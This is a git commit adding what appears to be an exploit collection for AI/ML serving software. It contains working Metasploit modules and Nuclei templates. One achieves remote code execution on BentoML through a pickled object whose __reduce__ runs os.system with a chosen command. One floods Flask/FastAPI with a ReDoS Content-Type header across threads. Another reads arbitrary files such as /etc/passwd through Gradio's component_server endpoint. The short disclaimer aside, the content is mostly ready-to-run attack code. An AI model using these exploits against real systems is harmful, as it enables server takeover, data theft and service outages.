commit
13819da19f
|
@ -0,0 +1,26 @@
|
|||
# BentoML Vulnerabilities and Exploits
|
||||
|
||||
BentoML is a model serving framework that offers a unified standard for AI inference, model packaging, and serving optimizations.
|
||||
|
||||
## Vulnerabilities
|
||||
|
||||
### Remote Code Execution
|
||||
|
||||
- **Description**: BentoML < 1.2.5 is vulnerable to RCE via Python object deserialization.
|
||||
- **Impact**: This vulnerability could allows an attacker to gain Remote Code Execution on the server running the BentoML inference server.
|
||||
|
||||
## Reports
|
||||
|
||||
- **@pinkdraconian**: https://huntr.com/bounties/349a1cce-6bb5-4345-82a5-bf7041b65a68
|
||||
|
||||
## Disclaimer
|
||||
|
||||
The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only.
|
||||
|
||||
## Contribution
|
||||
|
||||
Contributions to improve the exploits or documentation are welcome. Please follow the contributing guidelines outlined in the repository.
|
||||
|
||||
## License
|
||||
|
||||
All exploits and templates in this repository are released under the Apache 2.0 License.
|
|
@ -0,0 +1,29 @@
|
|||
id: bentoml-rce
|
||||
|
||||
info:
|
||||
name: BentoML Insecure Deserialization RCE Simulation
|
||||
author: DanMcInerney, byt3bl33d3r, pinkdraconian
|
||||
severity: critical
|
||||
description: Simulates an insecure deserialization attack on BentoML to trigger remote code execution. Binary data is string "protectai" pickled.
|
||||
reference:
|
||||
- https://huntr.com/bounties/349a1cce-6bb5-4345-82a5-bf7041b65a68
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cwe-id: CWE-1188 # Insecure Default Initialization of Resource
|
||||
tags: bentoml, rce, deserialization, protectai, huntr, ai, machine-learning
|
||||
|
||||
requests:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/summarize"
|
||||
headers:
|
||||
Content-Type: "application/vnd.bentoml+pickle"
|
||||
body: !!binary |
|
||||
gASVJAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAlwcm90ZWN0YWmUhZRSlC4=
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Input should be a valid dictionary or instance of Input"
|
||||
part: body
|
|
@ -0,0 +1,109 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
|
||||
|
||||
# standard modules
|
||||
import logging
|
||||
import pickle
|
||||
import os
|
||||
from urllib.parse import urljoin
|
||||
from metasploit import module
|
||||
|
||||
# extra modules
|
||||
dependencies_missing = False
|
||||
try:
|
||||
import requests
|
||||
except ImportError:
|
||||
dependencies_missing = True
|
||||
|
||||
metadata = {
|
||||
'name': 'BentoML Pickle RCE',
|
||||
'description': '''
|
||||
RCE in BentoML (=< 1.2.5) through pickle deserialization.
|
||||
''',
|
||||
'authors': [
|
||||
'pinkdraconian', # Vulnerability discovery
|
||||
'byt3bl33d3r <marcello@protectai.com>' # MSF module
|
||||
],
|
||||
'rank': 'excellent',
|
||||
'date': '2024-02-06',
|
||||
'license': 'MSF_LICENSE',
|
||||
'references': [
|
||||
{'type': 'url', 'ref': 'https://huntr.com/bounties/349a1cce-6bb5-4345-82a5-bf7041b65a68'},
|
||||
{'type': 'cve', 'ref': 'CVE-2024-2912'}
|
||||
],
|
||||
'type': 'remote_exploit_cmd_stager',
|
||||
'targets': [
|
||||
{'platform': 'linux', 'arch': 'aarch64'},
|
||||
{'platform': 'linux', 'arch': 'x64'},
|
||||
{'platform': 'linux', 'arch': 'x86'}
|
||||
],
|
||||
'default_options': {
|
||||
'MeterpreterTryToFork': True
|
||||
},
|
||||
'payload': {
|
||||
'command_stager_flavor': 'wget'
|
||||
},
|
||||
'options': {
|
||||
'command': {'type': 'string', 'description': 'The command to execute', 'required': True, 'default': 'echo "Hello from Metasploit"'},
|
||||
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
|
||||
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 3000},
|
||||
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False},
|
||||
'api_endpoint': {'type': 'string', 'description': 'The BentoML API endpoint to send the request to', 'required': True, 'default': '/summarize'}
|
||||
}
|
||||
}
|
||||
|
||||
def convert_args_to_correct_type(args):
|
||||
'''
|
||||
Utility function to correctly "cast" the modules options to their correct types according to the options.
|
||||
|
||||
When a module is run using msfconsole, the module args are all passed as strings
|
||||
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
|
||||
'''
|
||||
|
||||
corrected_args = {}
|
||||
|
||||
for k,v in args.items():
|
||||
option_to_convert = metadata['options'].get(k)
|
||||
if option_to_convert:
|
||||
type_to_convert = metadata['options'][k]['type']
|
||||
if type_to_convert == 'bool':
|
||||
if isinstance(v, str):
|
||||
if v.lower() == 'false':
|
||||
corrected_args[k] = False
|
||||
elif v.lower() == 'true':
|
||||
corrected_args[k] = True
|
||||
|
||||
if type_to_convert == 'port':
|
||||
corrected_args[k] = int(v)
|
||||
|
||||
return {**args, **corrected_args}
|
||||
|
||||
def run(args):
|
||||
args = convert_args_to_correct_type(args)
|
||||
|
||||
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
|
||||
|
||||
logging.debug(args)
|
||||
if dependencies_missing:
|
||||
logging.error('Module dependency (requests) is missing, cannot continue')
|
||||
return
|
||||
|
||||
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
|
||||
|
||||
class P(object):
|
||||
def __reduce__(self):
|
||||
return (os.system,(args['command'],))
|
||||
|
||||
full_url = f"{base_url}" + args['api_endpoint']
|
||||
logging.info(f"Sending request to {full_url}")
|
||||
|
||||
r = requests.post(
|
||||
full_url,
|
||||
pickle.dumps(P()), headers={"Content-Type": "application/vnd.bentoml+pickle"}
|
||||
)
|
||||
logging.debug(f"{r.status_code} - {r.text}")
|
||||
|
||||
if __name__ == '__main__':
|
||||
module.run(metadata, run)
|
|
@ -0,0 +1,29 @@
|
|||
# Flask/FastAPI Vulnerabilities and Exploits
|
||||
|
||||
Flask and FastAPI are vulnerable to a Regex Denial of Service (ReDoS).
|
||||
The request needs to be submitted to a POST API endpoint that attempts the read the request body.
|
||||
|
||||
FastAPI is only vulnerable when processing Form data and not JSON.
|
||||
|
||||
## Vulnerabilities
|
||||
|
||||
### ReDOS
|
||||
|
||||
- **Description**: FastAPI < 0.109.0 is vulnerable to a ReDoS when preocessing form data. Flask is still vulnerable.
|
||||
- **Impact**: An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources.
|
||||
|
||||
## Reports
|
||||
|
||||
- **@nicecatch2000**: https://huntr.com/bounties/6745259d-d16e-4fe5-97fe-113b64d6134f/
|
||||
|
||||
## Disclaimer
|
||||
|
||||
The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only.
|
||||
|
||||
## Contribution
|
||||
|
||||
Contributions to improve the exploits or documentation are welcome. Please follow the contributing guidelines outlined in the repository.
|
||||
|
||||
## License
|
||||
|
||||
All exploits and templates in this repository are released under the Apache 2.0 License.
|
|
@ -0,0 +1,111 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
|
||||
|
||||
# standard modules
|
||||
import logging
|
||||
import concurrent.futures
|
||||
from urllib.parse import urljoin
|
||||
|
||||
# extra modules
|
||||
dependencies_missing = False
|
||||
try:
|
||||
import requests
|
||||
from requests import Request, Session
|
||||
except ImportError:
|
||||
dependencies_missing = True
|
||||
|
||||
from metasploit import module
|
||||
|
||||
|
||||
metadata = {
|
||||
'name': 'Flask Content-Type ReDoS',
|
||||
'description': '''
|
||||
Flask is vulnerable to a Regex Denial of Service (ReDoS).
|
||||
The request needs to be submitted to a POST API endpoint that attempts the read the request body.
|
||||
''',
|
||||
'authors': [
|
||||
'nicecatch2000' # Vuln discovery
|
||||
'byt3bl33d3r <marcello@protectai.com>' # MSF Module
|
||||
],
|
||||
|
||||
'rank': 'excellent',
|
||||
'date': '2023-11-15',
|
||||
'license': 'MSF_LICENSE',
|
||||
'references': [
|
||||
{'type': 'url', 'ref': 'https://huntr.com/bounties/6745259d-d16e-4fe5-97fe-113b64d6134f/'},
|
||||
{'type': 'cve', 'ref': ''}
|
||||
],
|
||||
'type': 'dos',
|
||||
'options': {
|
||||
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
|
||||
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 80},
|
||||
'dos_threads': {'type': 'int', 'description': 'Max number of concurrent threads', 'required': True, 'default': 10},
|
||||
'url_path': {'type': 'string', 'description': 'URL Path', 'required': False, 'default': '/'},
|
||||
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
|
||||
}
|
||||
}
|
||||
|
||||
def convert_args_to_correct_type(args):
|
||||
'''
|
||||
Utility function to correctly "cast" the modules options to their correct types according to the options.
|
||||
|
||||
When a module is run using msfconsole, the module args are all passed as strings
|
||||
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
|
||||
'''
|
||||
|
||||
corrected_args = {}
|
||||
|
||||
for k,v in args.items():
|
||||
option_to_convert = metadata['options'].get(k)
|
||||
if option_to_convert:
|
||||
type_to_convert = metadata['options'][k]['type']
|
||||
if type_to_convert == 'bool':
|
||||
if isinstance(v, str):
|
||||
if v.lower() == 'false':
|
||||
corrected_args[k] = False
|
||||
elif v.lower() == 'true':
|
||||
corrected_args[k] = True
|
||||
|
||||
if type_to_convert == 'port' or type_to_convert == 'int':
|
||||
corrected_args[k] = int(v)
|
||||
|
||||
return {**args, **corrected_args}
|
||||
|
||||
def redos(url: str, worker_n: int):
|
||||
logging.info(f"DoS thread {worker_n} started")
|
||||
|
||||
r = requests.post(
|
||||
url,
|
||||
data={"a": 1},
|
||||
headers={
|
||||
"Content-Type": 'application/x-www-form-urlencoded; !="{}'.format("\\" * 117)
|
||||
},
|
||||
timeout = 1
|
||||
)
|
||||
|
||||
return r.status_code, r.text
|
||||
|
||||
def run(args):
|
||||
args = convert_args_to_correct_type(args)
|
||||
|
||||
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
|
||||
|
||||
logging.debug(args)
|
||||
if dependencies_missing:
|
||||
logging.error('Module dependency (requests) is missing, cannot continue')
|
||||
return
|
||||
|
||||
MAX_WORKERS = args['dos_threads']
|
||||
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
|
||||
url = urljoin(base_url, args['url_path'])
|
||||
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
|
||||
future_to_index = {executor.submit(redos, url, i): i for i in range(0,MAX_WORKERS)}
|
||||
done, not_done = concurrent.futures.wait(future_to_index, timeout=MAX_WORKERS)
|
||||
|
||||
logging.info("Completed, server should be unresponsive")
|
||||
|
||||
if __name__ == '__main__':
|
||||
module.run(metadata, run)
|
|
@ -0,0 +1,26 @@
|
|||
# Gradio Vulnerabilities and Exploits
|
||||
|
||||
Gradio is the fastest way to demo your machine learning model with a friendly web interface so that anyone can use it.
|
||||
|
||||
## Vulnerabilities
|
||||
|
||||
### Local File Inclusion
|
||||
|
||||
- **Description**: Gradio < 4.3.0 is vulnerable to an LFI in the `/component_server` API endpoint.
|
||||
- **Impact**: This vulnerability allows an attacker to read files off the filesystem remotely.
|
||||
|
||||
## Reports
|
||||
|
||||
- **@ozelis**: https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338
|
||||
|
||||
## Disclaimer
|
||||
|
||||
The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only.
|
||||
|
||||
## Contribution
|
||||
|
||||
Contributions to improve the exploits or documentation are welcome. Please follow the contributing guidelines outlined in the repository.
|
||||
|
||||
## License
|
||||
|
||||
All exploits and templates in this repository are released under the Apache 2.0 License.
|
|
@ -0,0 +1,66 @@
|
|||
id: gradio-local-file-include
|
||||
info:
|
||||
name: Gradio Local File Read Vulnerability
|
||||
author: ozelis, DanMcInerney
|
||||
severity: high
|
||||
description: This nuclei template checks for Local File Read vulnerability in Gradio applications.
|
||||
reference:
|
||||
- https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338
|
||||
- https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2
|
||||
classification:
|
||||
cvss-score: 7.5
|
||||
cwe-id: CWE-29
|
||||
cve-id: CVE-2024-1561
|
||||
tags: gradio, lfi, local-file-include, python, api, ai, machine-learning, huntr
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/config"
|
||||
|
||||
extractors:
|
||||
- type: json
|
||||
part: body
|
||||
name: component_id
|
||||
internal: true
|
||||
json:
|
||||
- ".components[0].id"
|
||||
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/component_server"
|
||||
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
|
||||
body: |
|
||||
{
|
||||
"component_id": "{{component_id}}",
|
||||
"data": "/etc/passwd",
|
||||
"fn_name": "move_resource_to_block_cache",
|
||||
"session_hash": "aaaaaaaaaaa"
|
||||
}
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
part: body
|
||||
name: extracted_content
|
||||
internal: true
|
||||
group: 1
|
||||
regex:
|
||||
- "\"(.+)\""
|
||||
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/file={{extracted_content}}"
|
||||
|
||||
matchers-condition: and
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:.*:0:0:"
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
|
@ -0,0 +1,109 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# Metasploit external module
|
||||
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
|
||||
|
||||
import logging
|
||||
import re
|
||||
|
||||
# extra modules
|
||||
dependencies_missing = False
|
||||
try:
|
||||
import requests
|
||||
except ImportError:
|
||||
dependencies_missing = True
|
||||
|
||||
from metasploit import module
|
||||
|
||||
|
||||
metadata = {
|
||||
'name': 'Gradio Local File Include Vulnerability',
|
||||
'description': '''
|
||||
Gradio applications are vulnerable to Local File Inclusion (LFI) via the component_server endpoint.
|
||||
This module exploits the vulnerability to read arbitrary files from the target system.
|
||||
''',
|
||||
'authors': [
|
||||
'Dan McInerney <danhmcinerney@gmail.com>',
|
||||
'ozelis',
|
||||
],
|
||||
'rank': 'excellent',
|
||||
'date': '2024-05-06',
|
||||
'license': 'MSF_LICENSE',
|
||||
'references': [
|
||||
{'type': 'url', 'ref': 'https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338'},
|
||||
{'type': 'cve', 'ref': 'CVE-2024-1561'}
|
||||
],
|
||||
'type': 'single_scanner',
|
||||
'options': {
|
||||
'filepath': {'type': 'string', 'description': 'File to read', 'required': True, 'default': '/etc/passwd'},
|
||||
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
|
||||
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 7860},
|
||||
'ssl': {'type': 'bool', 'description': 'Use SSL/TLS for outgoing connections', 'required': True, 'default': False}
|
||||
}
|
||||
}
|
||||
|
||||
def convert_args_to_correct_type(args):
|
||||
'''
|
||||
Converts module options to their correct types.
|
||||
'''
|
||||
corrected_args = {}
|
||||
for k, v in args.items():
|
||||
option = metadata['options'].get(k)
|
||||
if option:
|
||||
type_to_convert = option['type']
|
||||
if type_to_convert == 'bool':
|
||||
corrected_args[k] = v.lower() == 'true'
|
||||
elif type_to_convert == 'port':
|
||||
corrected_args[k] = int(v)
|
||||
|
||||
return {**args, **corrected_args}
|
||||
|
||||
def run(args):
|
||||
args = convert_args_to_correct_type(args)
|
||||
|
||||
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
|
||||
logging.debug(args)
|
||||
|
||||
if dependencies_missing:
|
||||
logging.error('Module dependency (requests) is missing, cannot continue')
|
||||
return
|
||||
|
||||
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
|
||||
|
||||
try:
|
||||
with requests.Session() as s:
|
||||
# Get app config to retrieve a valid component ID
|
||||
rsp = s.get(f"{base_url}/config")
|
||||
rsp.raise_for_status()
|
||||
|
||||
# Extract the first component ID from the configuration
|
||||
component_id = rsp.json()["components"][0]["id"]
|
||||
|
||||
# Exploit the LFI vulnerability to get the file path
|
||||
exploit_json = {
|
||||
"component_id": component_id,
|
||||
"data": args['filepath'],
|
||||
"fn_name": "move_resource_to_block_cache",
|
||||
"session_hash": "aaaaaaaaaaa"
|
||||
}
|
||||
|
||||
rsp = s.post(f"{base_url}/component_server", json=exploit_json)
|
||||
rsp.raise_for_status()
|
||||
|
||||
# Extract the temporary path and read the file
|
||||
temp_path = re.findall(r'"(.*?)"', rsp.text)[0]
|
||||
read_url = f"{base_url}/file={temp_path}"
|
||||
|
||||
rsp = s.get(read_url)
|
||||
rsp.raise_for_status()
|
||||
|
||||
logging.info("File content:")
|
||||
logging.info(rsp.text)
|
||||
|
||||
except requests.exceptions.RequestException as e:
|
||||
logging.error(f"Request error: {str(e)}")
|
||||
return
|
||||
|
||||
if __name__ == '__main__':
|
||||
module.run(metadata, run)
|
Loading…
Reference in New Issue